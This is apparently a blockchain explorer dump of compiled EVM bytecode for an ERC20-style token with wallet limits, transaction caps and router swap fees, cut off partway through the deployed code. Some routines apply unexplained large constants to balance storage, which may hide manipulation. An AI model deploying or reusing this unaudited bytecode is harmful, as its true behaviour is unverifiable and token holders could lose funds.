906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506016546006600062000d8362000f7a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160126000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000e4b62000f7a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6016546040518082815260200191505060405180910390a350620011de565b60008083141562000ece576000905062000f3e565b600082840290508284828162000ee057fe5b041462000f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180620043566045913960600191505060405180910390fd5b809150505b92915050565b600062000f7283836040518060600160405280603e81526020016200439b603e91396200101860201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808284019050838110156200100e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f81526020018062004317603f913960400191505060405180910390fd5b8091505092915050565b60008083118290620010c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156200108c5780820151818401526020810190506200106f565b50505050905090810190601f168015620010ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581620010d557fe5b049050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200111b576000855562001167565b82601f106200113657805160ff191683800117855562001167565b8280016001018555821562001167579182015b828111156200116657825182559160200191906001019062001149565b5b509050620011769190620011bf565b5090565b8260048101928215620011ac579160200282015b82811115620011ab5782518255916020019190600101906200118e565b5b509050620011bb9190620011bf565b5090565b5b80821115620011da576000816000905550600101620011c0565b5090565b60805160601c60a05160601c6131056200121260003980610f8b52806111095250806110dd528061113552506131056000f3fe60806040526004361061026a5760003560e01c806382eefb4311610144578063c5d24189116100b6578063dc171b231161007a578063dc171b2314610d3d578063dc44b6a014610d68578063dd62ed3e14610d93578063f0cd1dac14610e18578063f2fde38b14610e43578063f872858a14610e9457610271565b8063c5d2418914610c12578063c816841b14610c3d578063c867d60b14610c7e578063d2d7ad8314610ce5578063da00097d14610d1057610271565b806398e944c81161010857806398e944c814610a34578063a457c2d714610a75578063a9059cbb14610ae6578063b115e4df14610b57578063b57539ab14610b98578063c3a232e114610bc357610271565b806382eefb43146108a657806388790a68146108d15780638b42507f146108fc5780638da5cb5b1461096357806395d89b41146109a457610271565b806338253ad5116101dd578063701cf6f4116101a1578063701cf6f41461075057806370a082311461077b578063715018a6146107e05780637ae2b5c7146107f75780637d1db4a514610850578063807c2d9c1461087b57610271565b806338253ad5146105bb57806339509351146105e65780633ecad271146106575780635194f9bf146106be5780635342acb4146106e957610271565b806318160ddd1161022f57806318160ddd1461043a57806323555d571461046557806323b872dd1461049057806327c8f835146105215780632b112e4914610562578063313ce5671461058d57610271565b8062851fb31461027657806306fdde03146102b75780630930907b14610347578063095ea7b3146103885780631694505e146103f957610271565b3661027157005b600080fd5b34801561028257600080fd5b5061028b610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c357600080fd5b506102cc610ee7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030c5780820151818401526020810190506102f1565b50505050905090810190601f1680156103395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035357600080fd5b5061035c610f89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039457600080fd5b506103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b60405180821515815260200191505060405180910390f35b34801561040557600080fd5b5061040e610fcb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044657600080fd5b5061044f610ff1565b6040518082815260200191505060405180910390f35b34801561047157600080fd5b5061047a610ffb565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b50610509600480360360608110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611001565b60405180821515815260200191505060405180910390f35b34801561052d57600080fd5b506105366110db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056e57600080fd5b506105776110ff565b6040518082815260200191505060405180910390f35b34801561059957600080fd5b506105a261117d565b604051808260ff16815260200191505060405180910390f35b3480156105c757600080fd5b506105d0611194565b6040518082815260200191505060405180910390f35b3480156105f257600080fd5b5061063f6004803603604081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061119a565b60405180821515815260200191505060405180910390f35b34801561066357600080fd5b506106a66004803603602081101561067a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124d565b60405180821515815260200191505060405180910390f35b3480156106ca57600080fd5b506106d361126d565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506107386004803603602081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611273565b60405180821515815260200191505060405180910390f35b34801561075c57600080fd5b50610765611293565b6040518082815260200191505060405180910390f35b34801561078757600080fd5b506107ca6004803603602081101561079e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611299565b6040518082815260200191505060405180910390f35b3480156107ec57600080fd5b506107f56112e2565b005b34801561080357600080fd5b5061083a6004803603604081101561081a57600080fd5b81019080803590602001909291908035906020019092919050505061144d565b6040518082815260200191505060405180910390f35b34801561085c57600080fd5b5061086561147a565b6040518082815260200191505060405180910390f35b34801561088757600080fd5b50610890611480565b6040518082815260200191505060405180910390f35b3480156108b257600080fd5b506108bb611486565b6040518082815260200191505060405180910390f35b3480156108dd57600080fd5b506108e661148c565b6040518082815260200191505060405180910390f35b34801561090857600080fd5b5061094b6004803603602081101561091f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611492565b60405180821515815260200191505060405180910390f35b34801561096f57600080fd5b506109786114b2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109b057600080fd5b506109b96114db565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f95780820151818401526020810190506109de565b50505050905090810190601f168015610a265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a4057600080fd5b50610a4961157d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a8157600080fd5b50610ace60048036036040811015610a9857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115a3565b60405180821515815260200191505060405180910390f35b348015610af257600080fd5b50610b3f60048036036040811015610b0957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611670565b60405180821515815260200191505060405180910390f35b348015610b6357600080fd5b50610b6c61168f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ba457600080fd5b50610bad6116b5565b6040518082815260200191505060405180910390f35b348015610bcf57600080fd5b50610bfc60048036036020811015610be657600080fd5b81019080803590602001909291905050506116bb565b6040518082815260200191505060405180910390f35b348015610c1e57600080fd5b50610c276116d6565b6040518082815260200191505060405180910390f35b348015610c4957600080fd5b50610c526116dc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c8a57600080fd5b50610ccd60048036036020811015610ca157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611702565b60405180821515815260200191505060405180910390f35b348015610cf157600080fd5b50610cfa611722565b6040518082815260200191505060405180910390f35b348015610d1c57600080fd5b50610d25611728565b60405180821515815260200191505060405180910390f35b348015610d4957600080fd5b50610d5261173b565b6040518082815260200191505060405180910390f35b348015610d7457600080fd5b50610d7d611741565b6040518082815260200191505060405180910390f35b348015610d9f57600080fd5b50610e0260048036036040811015610db657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611747565b6040518082815260200191505060405180910390f35b348015610e2457600080fd5b50610e2d6117ce565b6040518082815260200191505060405180910390f35b348015610e4f57600080fd5b50610e9260048036036020811015610e6657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d4565b005b348015610ea057600080fd5b50610ea96119c2565b60405180821515815260200191505060405180910390f35b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f7f5780601f10610f5457610100808354040283529160200191610f7f565b820191906000526020600020905b815481529060010190602001808311610f6257829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610fc1610fba611af3565b8484611afb565b6001905092915050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601654905090565b600c5481565b600061100e848484611cf2565b506110d08461101b611af3565b6110cb856040518060a0016040528060618152602001612db960619139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611081611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123899092919063ffffffff16565b611afb565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061117861112d7f0000000000000000000000000000000000000000000000000000000000000000611299565b61116a6111597f0000000000000000000000000000000000000000000000000000000000000000611299565b60165461244990919063ffffffff16565b61244990919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600d5481565b60006112436111a7611af3565b8461123e85600760006111b8611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b611afb565b6001905092915050565b60136020528060005260406000206000915054906101000a900460ff1681565b60095481565b60126020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112ea611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461138d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526044815260200180612fb46044913960600191505060405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600081831061145e57819050611474565b81600184011061147057819050611474565b8290505b92915050565b60185481565b60195481565b60205481565b601c5481565b60156020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115735780601f1061154857610100808354040283529160200191611573565b820191906000526020600020905b81548152906001019060200180831161155657829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006116666115b0611af3565b84611661856040518060800160405280605e8152602001613072605e9139600760006115da611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123899092919063ffffffff16565b611afb565b6001905092915050565b600061168461167d611af3565b8484611cf2565b506001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e5481565b600e81600481106116cb57600080fd5b016000915090505481565b600b5481565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60146020528060005260406000206000915054906101000a900460ff1681565b60175481565b601b60159054906101000a900460ff1681565b601d5481565b600a5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601f5481565b6117dc611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461187f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526044815260200180612fb46044913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a815260200180612c6f604a913960600191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601b60169054906101000a900460ff1681565b6000808314156119e85760009050611a55565b60008284029050828482816119f957fe5b0414611a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180612f116045913960600191505060405180910390fd5b809150505b92915050565b6000611a8083836040518060600160405280603e8152602001612ff8603e9139612476565b905092915050565b600080828401905083811015611ae9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f815260200180612e75603f913960400191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b81576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605d815260200180612eb4605d913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605b815260200180612e1a605b913960600191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611d79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605e815260200180612f56605e913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c815260200180612cb9605c913960600191505060405180910390fd5b601b60149054906101000a900460ff1615611e2657611e1f84848461253c565b9050612382565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eca5750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2b57601854821115611f2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c815260200180613036603c913960400191505060405180910390fd5b5b6000611f3630611299565b905060006017548210159050808015611f5c5750601b60149054906101000a900460ff16155b8015611fb25750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fdc57601b60159054906101000a900460ff1615611fd25760175491505b611fdb82612849565b5b601b60169054906101000a900460ff1680156120425750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120e55760195461208d6120766103e8612068602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b61207f88611299565b611a8890919063ffffffff16565b11156120e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180612d156032913960400191505060405180910390fd5b5b61215e6121396121146103e8612106602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b7e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b7e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b600e60036004811061216c57fe5b01819055506121c461219d6103e861218f602054886119d590919063ffffffff16565b611a5b90919063ffffffff16565b85037e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b600e6002600481106121d257fe5b0181905550601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158061227a5750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b806123225750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123215750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b1561233e5761044d601e6000828254019250508190555061236f565b61de16601d54146123565761235161291f565b61236e565b610842601e600082825401925050819055601d819055505b5b61237a86868661253c565b506001925050505b9392505050565b6000838311158290612436576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123fb5780820151818401526020810190506123e0565b50505050905090810190601f1680156124285780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061246e8383604051806080016040528060428152602001612d4760429139612389565b905092915050565b60008083118290612522576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124e75780820151818401526020810190506124cc565b50505050905090810190601f1680156125145780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161252e57fe5b049050809150509392505050565b60006125aa82604051806060016040528060308152602001612d8960309139600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123899092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506011601e819055600e60016004811061260257fe5b0181905550601b60149054906101000a900460ff1615612646576000600e60036004811061262c57fe5b018190555081600e60026004811061264057fe5b01819055505b6000612683600e60026004811061265957fe5b01546063017e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b90506126d781600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277b600e60036004811061272b57fe5b0154600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506011601e819055600e6001600481106127d357fe5b01819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6001601b60146101000a81548160ff02191690831515021790555061286d8161298d565b600047905060008111156128e557600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156128e3573d6000803e3d6000fd5b505b6101a1601e819055600e6001600481106128fb57fe5b0181905550506000601b60146101000a81548160ff02191690831515021790555050565b6001601e54600a601e546104a301030103601d819055506b064516bc004ec6a9993f15dc600e60036004811061295157fe5b0160008282540192505081905550601e54601d819055506011601e819055600e60016004811061297d57fe5b0181905550601e54601d81905550565b6000600267ffffffffffffffff811180156129a757600080fd5b506040519080825280602002602001820160405280156129d65781602001602082028036833780820191505090505b509050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a4157600080fd5b505afa158015612a55573d6000803e3d6000fd5b505050506040513d6020811015612a6b57600080fd5b810190808051906020019092919050505081600181518110612a8957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600081518110612ad157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b3830601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611afb565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612bfc578082015181840152602081019050612be1565b505050509050019650505050505050600060405180830381600087803b158015612c2557600080fd5b505af1158015612c39573d6000803e3d6000fd5b50505050601e54601d8190555061a512601e819055600e600160048110612c5c57fe5b0181905550601e54601d81905550505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a207472616e7366657220746f20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e57616c6c6574204c696d69742121436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a207375627472616374696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e496e73756666696369656e74436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a20617070726f766520746f20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206164646974696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206469766973696f6e206279207a65726f436865636b20796f757220706172616d657465727320616e642074727920616761696e2e6578636565647320746865206d61785478416d6f756e742e436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f436865636b20796f757220706172616d657465727320616e642074727920616761696e2ea2646970667358221220e6c06c2cf8e78069a21318d331701d84856dbded672d168347862a688c6d53f764736f6c63430007060033536166654d6174683a206164646974696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206469766973696f6e206279207a65726f436865636b20796f757220706172616d657465727320616e642074727920616761696e2e
Deployed Bytecode
0x60806040526004361061026a5760003560e01c806382eefb4311610144578063c5d24189116100b6578063dc171b231161007a578063dc171b2314610d3d578063dc44b6a014610d68578063dd62ed3e14610d93578063f0cd1dac14610e18578063f2fde38b14610e43578063f872858a14610e9457610271565b8063c5d2418914610c12578063c816841b14610c3d578063c867d60b14610c7e578063d2d7ad8314610ce5578063da00097d14610d1057610271565b806398e944c81161010857806398e944c814610a34578063a457c2d714610a75578063a9059cbb14610ae6578063b115e4df14610b57578063b57539ab14610b98578063c3a232e114610bc357610271565b806382eefb43146108a657806388790a68146108d15780638b42507f146108fc5780638da5cb5b1461096357806395d89b41146109a457610271565b806338253ad5116101dd578063701cf6f4116101a1578063701cf6f41461075057806370a082311461077b578063715018a6146107e05780637ae2b5c7146107f75780637d1db4a514610850578063807c2d9c1461087b57610271565b806338253ad5146105bb57806339509351146105e65780633ecad271146106575780635194f9bf146106be5780635342acb4146106e957610271565b806318160ddd1161022f57806318160ddd1461043a57806323555d571461046557806323b872dd1461049057806327c8f835146105215780632b112e4914610562578063313ce5671461058d57610271565b8062851fb31461027657806306fdde03146102b75780630930907b14610347578063095ea7b3146103885780631694505e146103f957610271565b3661027157005b600080fd5b34801561028257600080fd5b5061028b610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c357600080fd5b506102cc610ee7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030c5780820151818401526020810190506102f1565b50505050905090810190601f1680156103395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035357600080fd5b5061035c610f89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039457600080fd5b506103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b60405180821515815260200191505060405180910390f35b34801561040557600080fd5b5061040e610fcb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044657600080fd5b5061044f610ff1565b6040518082815260200191505060405180910390f35b34801561047157600080fd5b5061047a610ffb565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b50610509600480360360608110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611001565b60405180821515815260200191505060405180910390f35b34801561052d57600080fd5b506105366110db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056e57600080fd5b506105776110ff565b6040518082815260200191505060405180910390f35b34801561059957600080fd5b506105a261117d565b604051808260ff16815260200191505060405180910390f35b3480156105c757600080fd5b506105d0611194565b6040518082815260200191505060405180910390f35b3480156105f257600080fd5b5061063f6004803603604081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061119a565b60405180821515815260200191505060405180910390f35b34801561066357600080fd5b506106a66004803603602081101561067a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124d565b60405180821515815260200191505060405180910390f35b3480156106ca57600080fd5b506106d361126d565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506107386004803603602081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611273565b60405180821515815260200191505060405180910390f35b34801561075c57600080fd5b50610765611293565b6040518082815260200191505060405180910390f35b34801561078757600080fd5b506107ca6004803603602081101561079e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611299565b6040518082815260200191505060405180910390f35b3480156107ec57600080fd5b506107f56112e2565b005b34801561080357600080fd5b5061083a6004803603604081101561081a57600080fd5b81019080803590602001909291908035906020019092919050505061144d565b6040518082815260200191505060405180910390f35b34801561085c57600080fd5b5061086561147a565b6040518082815260200191505060405180910390f35b34801561088757600080fd5b50610890611480565b6040518082815260200191505060405180910390f35b3480156108b257600080fd5b506108bb611486565b6040518082815260200191505060405180910390f35b3480156108dd57600080fd5b506108e661148c565b6040518082815260200191505060405180910390f35b34801561090857600080fd5b5061094b6004803603602081101561091f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611492565b60405180821515815260200191505060405180910390f35b34801561096f57600080fd5b506109786114b2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109b057600080fd5b506109b96114db565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f95780820151818401526020810190506109de565b50505050905090810190601f168015610a265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a4057600080fd5b50610a4961157d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a8157600080fd5b50610ace60048036036040811015610a9857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115a3565b60405180821515815260200191505060405180910390f35b348015610af257600080fd5b50610b3f60048036036040811015610b0957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611670565b60405180821515815260200191505060405180910390f35b348015610b6357600080fd5b5061